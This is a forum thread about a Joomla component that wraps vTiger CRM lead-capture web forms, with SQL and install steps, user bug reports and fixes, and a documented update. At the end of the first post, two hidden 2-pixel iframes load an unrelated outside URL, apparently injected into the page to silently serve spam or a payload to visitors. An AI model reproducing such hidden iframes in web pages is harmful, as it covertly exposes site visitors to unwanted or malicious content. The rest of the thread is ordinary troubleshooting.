joomla component for vTiger web forms 5.0.2

Attached is a component directory that works in Joomla. It didn't take long to create a vtwebform mod and update the vtiger files...

You also need to add this to your joomla database:
INSERT INTO `jos_components` ( `id` , `name` , `link` , `menuid` , `parent` , `admin_menu_link` , `admin_menu_alt` , `option` , `ordering` , `admin_menu_img` , `iscore` , `params` )
VALUES (
NULL , 'vtwebform', 'option=com_vtwebform', '0', '0', '', '', 'com_vtwebform', '0', '', '0', ''
);

Copy the com_vtwebform to joomla's /components directory and add a menu item selecting the component com_vtwebform. That's it.

A .zip install file will be available soon :) <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

  • is this meant to work with the joomla-vtiger intregration modules? i am trying this but there is no place to specify the vtiger server - i am not integrating this particular joomla install with vtiger, just want the lead capture part...

    thanks
    gregg
  • yes. this is just the lead capture part.

    the only thing you "should" have to do is change the portal server around line 25 in /components/com_vtwebform/vtwebform.php. sorry i left this out before. i had thought about it but didn't change the post.

    on line 26 you can set to show leads or contacts. the current value is leads.

    thanks,

  • thanks for the reply - so if i do not have the integration components, can i still use this module, and what tweaks would be needed?

    thanks,

  • once i removed my .htaccess file that i blocked the public and the webform with, it worked flawlessly - thanks for such a great component!!

    you don't need to download the webforms from vtiger. they are included in this download. i modified them to work with joomla.

    other comments are posted here. just one file to change (vtwebform.php i think).
  • first of all, thanks for this component, works wonderfully!!
    i had a problem with form throwing a error:
    php fatal error: cannot redeclare checkinputarray()

    when i submitted with fields empty here are the details and fix:
    in send_data.php i had to add the absolute path to index.php - it was including the joomla index.php, instead of the one for the lead webform:
    change: include("index.php");
    to: include("/full/unix/path/to/com_vtwebform/lead/index.php");
    ex: include("/home/someuser/public_html/joomla/components/com_vtwebform/lead/index.php");
  • see post below.
  • first of all, thanks to the vtiger group for all their work and time - vtiger is a killer app!! also, thanks to vtiger forum user "rhoobler" for making the vtiger webforms into a joomla component.

    in this update - contributed some codework - added some features to the lead form: validation, tableless css driven, email confirmation, fat-java-fu, etc.

    a demo can be seen http://mochabomb.com/demo/cms/index.php?option=com_vtwebform&itemid=26

    documentation is online at http://mochabomb.com/docs/vtiger-webforms-lead.html and attached in this post. it covers install, config, how it works, what files and changes are to be made, adding custom fields, dropdown examples, etc.

    the standalone version is the vtiger webforms lead component.

    ** note - read this post *************************** http://forums.vtiger.com/viewtopic.php?t=13412 about joomla install - and the readme with the joomla component zipfile - this vital step is not in attached doc i created.

    opensource is awesome - enjoy!!

    ********** note - in send_data.php there is a typo - visitoremailto is spelled vistoremailto - an "i" is missing - i noticed first when in my test set-up the visitor did not get an email and httpd error logs. apologies for any frustration.
  • awesome! what i like most is the fact that you provided a well written documentation with the code.
    please vtiger team make this a part of your core product release.
  • hi-
    i get the following error after submitting the form:

    fatal error: cannot redeclare class nusoap_base in /home/frozenfu/public_html/components/com_vtwebform/lead/nusoap/lib/nusoap.php on line 61

    i also have the vtiger integration component installed which i though might be the pb but i still get the error after disabling it. in any case, i would rather use your component.

    you can see the form at <!-- m --><a class="postlink" href="http://www.frozenfulfillment.com/vtwebform/index.php">http://www.frozenfulfillment.com/vtwebform/index.php</a><!-- m --> (this not the one currently available from the menus)

    thank you for your help with this.
